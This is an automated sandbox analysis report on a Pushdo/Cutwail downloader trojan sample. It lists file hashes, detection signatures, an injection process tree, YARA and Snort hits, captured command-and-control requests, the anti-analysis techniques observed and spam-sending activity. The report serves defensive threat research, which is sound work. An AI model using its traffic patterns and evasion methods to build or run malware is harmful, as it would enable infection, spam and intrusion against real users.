Edit tour

Windows Analysis Report
fs7AQcREFX.exe

Overview

General Information

Sample Name:	fs7AQcREFX.exe
Original Sample Name:	6bb40ed95f770955ea7cf27e4785612e.exe
Analysis ID:	879119
MD5:	6bb40ed95f770955ea7cf27e4785612e
SHA1:	db93260f6bdeb2321fd73019af3d6182c97fd2c5
SHA256:	f8ef3e3b18e72eebb4b18edbc90f7f5851ab0af044473fa2856fc974f0c33d6c
Tags:	32Cutwailexetrojan
Infos:

Detection

Pushdo

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Backdoor Pushdo

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Writes to foreign memory regions

Found stalling execution ending in API Sleep call

Injects a PE file into a foreign processes

Send many emails (e-Mail Spam)

Contains functionality to inject code into remote processes

Drops PE files to the user root directory

Contains functionality to inject threads in other processes

Tries to resolve many domain names, but no domain seems valid

Contains functionality to compare user and computer (likely to detect sandboxes)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Found evasive API chain (date check)

Detected potential crypto function

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Found evasive API chain (may stop execution after checking a module file name)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Connects to many different domains

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Found evasive API chain checking for process token information

Connects to several IPs in different countries

Uses SMTP (mail sending)

Found evasive API chain (may stop execution after accessing registry keys)

Drops PE files to the user directory

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to query network adapater information

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

fs7AQcREFX.exe (PID: 7000 cmdline: C:\Users\user\Desktop\fs7AQcREFX.exe MD5: 6BB40ED95F770955EA7CF27E4785612E)

svchost.exe (PID: 6944 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 23128 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

pigalicapi.exe (PID: 6864 cmdline: "C:\Users\user\pigalicapi.exe" MD5: 6BB40ED95F770955EA7CF27E4785612E)

svchost.exe (PID: 1672 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 3800 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 4876 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 5200 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 6580 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

pigalicapi.exe (PID: 6080 cmdline: "C:\Users\user\pigalicapi.exe" MD5: 6BB40ED95F770955EA7CF27E4785612E)

svchost.exe (PID: 5892 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Pushdo	Pushdo is usually classified as a "downloader" trojan - meaning its true purpose is to download and install additional malicious software. There are dozens of downloader trojan families out there, but Pushdo is actually more sophisticated than most, but that sophistication lies in the Pushdo control server rather than the trojan.	No Attribution	http://malware-traffic-analysis.net/2017/04/03/index2.html http://www.secureworks.com/research/threat-profiles/gold-essex https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf https://www.blueliv.com/research/tracking-the-footproints-of-pushdo-trojan/ https://www.secureworks.com/research/pushdo	https://malpedia.caad.fkie.fraunhofer.de/details/win.pushdo

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.719025818.0000000002B54000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
00000004.00000002.714243220.0000000000940000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
00000000.00000002.720083201.0000000002554000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
00000001.00000002.714052838.0000000000F50000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
00000004.00000002.714796966.0000000000984000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.pigalicapi.exe.f523c7.2.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
0.2.fs7AQcREFX.exe.252053f.4.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
0.2.fs7AQcREFX.exe.25223c7.5.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
0.2.fs7AQcREFX.exe.25223c7.5.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
4.2.pigalicapi.exe.9423c7.1.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
9.2.svchost.exe.4000000.2.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
4.2.pigalicapi.exe.984088.5.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
4.2.pigalicapi.exe.9423c7.1.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
7.2.svchost.exe.4000000.5.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
1.2.pigalicapi.exe.f5053f.3.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
4.2.pigalicapi.exe.94053f.3.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
1.2.pigalicapi.exe.f5053f.3.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
4.2.pigalicapi.exe.94053f.3.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
1.2.pigalicapi.exe.4000000.11.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
1.2.pigalicapi.exe.2b54088.7.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
1.2.pigalicapi.exe.f523c7.2.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
0.2.fs7AQcREFX.exe.4000000.11.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
0.2.fs7AQcREFX.exe.2554088.7.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
4.2.pigalicapi.exe.984088.5.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
0.2.fs7AQcREFX.exe.2554088.7.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
0.2.fs7AQcREFX.exe.252053f.4.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
4.2.pigalicapi.exe.4000000.11.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
1.2.pigalicapi.exe.2b54088.7.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
14.2.svchost.exe.4000000.6.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
Click to see the 19 entries

Snort Signatures

ET TROJAN Backdoor.Win32.Pushdo.s Checkin - Source IP: 192.168.2.3 - Destination IP: 104.21.23.9

Timestamp:	192.168.2.3104.21.23.949699802016867 05/31/23-14:49:56.370054
SID:	2016867
Source Port:	49699
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst - Source IP: 173.231.184.124 - Destination IP: 192.168.2.3

Timestamp:	173.231.184.124192.168.2.380515152037771 05/31/23-14:51:33.827958
SID:	2037771
Source Port:	80
Destination Port:	51515
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst - Source IP: 63.251.106.25 - Destination IP: 192.168.2.3

Timestamp:	63.251.106.25192.168.2.380503292037771 05/31/23-14:51:28.831950
SID:	2037771
Source Port:	80
Destination Port:	50329
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST / HTTP/1.1Accept: */*Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.dgmna.comCache-Control: no-cacheData Raw: 68 7a 63 76 4e 45 69 7a 65 70 53 63 37 4f 64 38 69 37 34 67 4c 4c 74 68 66 68 54 51 64 38 42 66 2f 48 4a 47 77 5a 6f 52 79 34 67 57 45 41 64 4a 59 32 49 68 48 54 74 4a 5a 48 2b 53 77 6e 4a 59 47 67 76 7a 76 75 49 70 46 44 7a 4a 36 69 32 6c 66 53 2f 42 6d 38 38 63 37 6a 4e 31 73 31 2f 72 52 64 52 79 48 36 4a 69 65 49 63 70 33 57 78 4c 34 34 31 67 44 42 4a 67 4e 47 36 46 58 70 56 59 6b 36 37 37 34 4e 58 54 46 51 55 36 6d 38 7a 53 79 6b 7a 70 37 37 38 51 2b 37 73 75 47 54 32 6a 4f 33 47 74 73 68 4c 72 42 75 6a 56 63 2b 54 31 33 4b 4c 30 76 63 5a 67 4d 64 79 70 4b 49 42 6e 6d 49 56 68 43 62 62 6b 42 5a 45 44 4a 7a 55 63 35 44 43 44 72 41 69 7a 39 67 6d 50 73 73 68 57 79 74 6f 47 76 56 32 48 35 4e 2b 59 2f 53 6c 54 69 69 47 36 6e 68 6b 4a 75 31 33 68 65 6e 33 67 65 75 4c 6b 56 53 36 65 4e 69 2b 6c 74 34 6c 4c 2b 6f 36 57 51 35 70 67 65 7a 6c 64 7a 65 74 52 53 6f 64 30 33 5a 2b 6f 74 70 43 79 68 2b 70 39 79 59 61 59 67 42 39 37 67 45 6d 43 50 2f 57 45 56 75 2b 78 54 51 4c 52 38 52 47 41 5a 72 35 6c 42 56 34 76 7a 65 37 42 71 51 2b 30 4f 44 59 58 32 4e 2f 59 64 6b 79 51 30 57 38 34 6e 67 64 2b 76 44 74 44 44 54 50 35 72 6f 49 2f 50 48 4b 59 75 6e 37 75 6e 71 4f 57 75 47 78 75 52 70 4f 47 46 69 39 53 36 71 72 75 55 7a 35 30 72 43 49 53 47 66 55 6e 77 6c 65 49 64 55 53 72 44 42 64 77 31 4d 71 49 37 59 44 6a 5a 61 35 39 55 57 34 63 7a 6b 55 57 38 6b 4b 4f 41 74 38 50 4b 4d 46 6f 66 42 59 55 70 72 33 45 5a 34 73 6c 4b 2f 33 70 4a 57 59 51 6b 79 4d 43 56 2f 4b 56 47 7a 36 59 58 4e 53 2f 2f 31 4d 73 4a 32 34 70 44 70 38 30 68 6a 4d 64 51 58 65 2b 6c 75 77 4c 52 62 35 4a 4c 42 30 30 57 56 76 61 74 39 38 33 58 43 57 54 Data Ascii: hzcvNEizepSc7Od8i74gLLthfhTQd8Bf/HJGwZoRy4gWEAdJY2IhHTtJZH+SwnJYGgvzvuIpFDzJ6i2lfS/Bm88c7jN1s1/rRdRyH6JieIcp3WxL441gDBJgNG6FXpVYk6774NXTFQU6m8zSykzp778Q+7suGT2jO3GtshLrBujVc+T13KL0vcZgMdypKIBnmIVhCbbkBZEDJzUc5DCDrAiz9gmPsshWytoGvV2H5N+Y/SlTiiG6nhkJu13hen3geuLkVS6eNi+lt4lL+o6WQ5pgezldzetRSod03Z+otpCyh+p9yYaYgB97gEmCP/WEVu+xTQLR8RGAZr5lBV4vze7BqQ+0ODYX2N/YdkyQ0W84ngd+vDtDDTP5roI/PHKYun7unqOWuGxuRpOGFi9S6qruUz50rCISGfUnwleIdUSrDBdw1MqI7YDjZa59UW4czkUW8kKOAt8PKMFofBYUpr3EZ4slK/3pJWYQkyMCV/KVGz6YXNS//1MsJ24pDp80hjMdQXe+luwLRb5JLB00WVvat983XCWT

Source: unknown

DNS traffic detected: queries for: www.ftchat.com

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

Code function: 0_2_04001840 InternetCrackUrlA,InternetOpenA,InternetConnectA,HttpOpenRequestA,wnsprintfA,HttpAddRequestHeadersA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,HttpQueryInfoA,VirtualAlloc,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_04001840

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: flamingorecordings.com
Source: global traffic	HTTP traffic detected: GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: dataform.co.uk
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: ldh.la.gov
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: clinicasanluis.com.co
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: orlyhotel.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.se
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: pleszew.policja.gov.pl
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: flamingorecordings.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: pleszew.policja.gov.pl
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: clinicasanluis.com.co
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.se
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: ldh.la.gov
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: pleszew.policja.gov.pl
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: orlyhotel.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.se
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: flamingorecordings.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: ldh.la.gov
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.net

Source: unknown	HTTPS traffic detected: 185.237.66.112:443 -> 192.168.2.3:50236 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.146.206:443 -> 192.168.2.3:50408 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.156.49:443 -> 192.168.2.3:50806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.229.22.126:443 -> 192.168.2.3:50855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.212.235.175:443 -> 192.168.2.3:50924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.178:443 -> 192.168.2.3:51502 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.214.171.193:443 -> 192.168.2.3:51737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.7:443 -> 192.168.2.3:51779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.237.66.112:443 -> 192.168.2.3:51781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 75.2.95.235:443 -> 192.168.2.3:51897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 83.223.113.46:443 -> 192.168.2.3:55357 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.146.206:443 -> 192.168.2.3:58500 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.237.66.112:443 -> 192.168.2.3:63360 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.214.171.193:443 -> 192.168.2.3:63455 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.229.22.126:443 -> 192.168.2.3:63521 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.146.206:443 -> 192.168.2.3:64363 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.212.235.175:443 -> 192.168.2.3:63758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.146.206:443 -> 192.168.2.3:64698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.178:443 -> 192.168.2.3:64737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.7:443 -> 192.168.2.3:64911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 75.2.95.235:443 -> 192.168.2.3:64992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.229.22.126:443 -> 192.168.2.3:50491 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.7:443 -> 192.168.2.3:50521 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.156.49:443 -> 192.168.2.3:50520 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.214.171.193:443 -> 192.168.2.3:50547 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.237.66.112:443 -> 192.168.2.3:50561 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.146.206:443 -> 192.168.2.3:50581 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.146.206:443 -> 192.168.2.3:50587 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 75.2.95.235:443 -> 192.168.2.3:50586 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.212.235.175:443 -> 192.168.2.3:50932 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Send many emails (e-Mail Spam)

Source: SMTP

Network traffic detected: Mail traffic on many different IPs 42

Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_04008800 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptGenKey,CryptExportKey,CryptImportKey,CryptExportKey,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	0_2_04008800
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_04008970 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptImportKey,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,	0_2_04008970
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_04008A70 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptImportKey,CryptImportKey,CryptDecrypt,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	0_2_04008A70
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_0252A237 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptImportKey,CryptImportKey,CryptDecrypt,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	0_2_0252A237
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_02529FC7 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptGenKey,CryptExportKey,CryptImportKey,CryptExportKey,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	0_2_02529FC7
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_0252A137 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptImportKey,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,	0_2_0252A137
Source: C:\Users\user\pigalicapi.exe	Code function: 1_2_04008800 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptGenKey,CryptExportKey,CryptImportKey,CryptExportKey,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	1_2_04008800
Source: C:\Users\user\pigalicapi.exe	Code function: 1_2_04008970 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptImportKey,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,	1_2_04008970
Source: C:\Users\user\pigalicapi.exe	Code function: 1_2_04008A70 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptImportKey,CryptImportKey,CryptDecrypt,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	1_2_04008A70

Source: fs7AQcREFX.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

Code function: 0_2_02531A5F

0_2_02531A5F

Source: fs7AQcREFX.exe

ReversingLabs: Detection: 24%

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

File read: C:\Users\user\Desktop\fs7AQcREFX.exe

Jump to behavior

Source: fs7AQcREFX.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\fs7AQcREFX.exe C:\Users\user\Desktop\fs7AQcREFX.exe
Source: unknown	Process created: C:\Users\user\pigalicapi.exe "C:\Users\user\pigalicapi.exe"
Source: unknown	Process created: C:\Users\user\pigalicapi.exe "C:\Users\user\pigalicapi.exe"
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
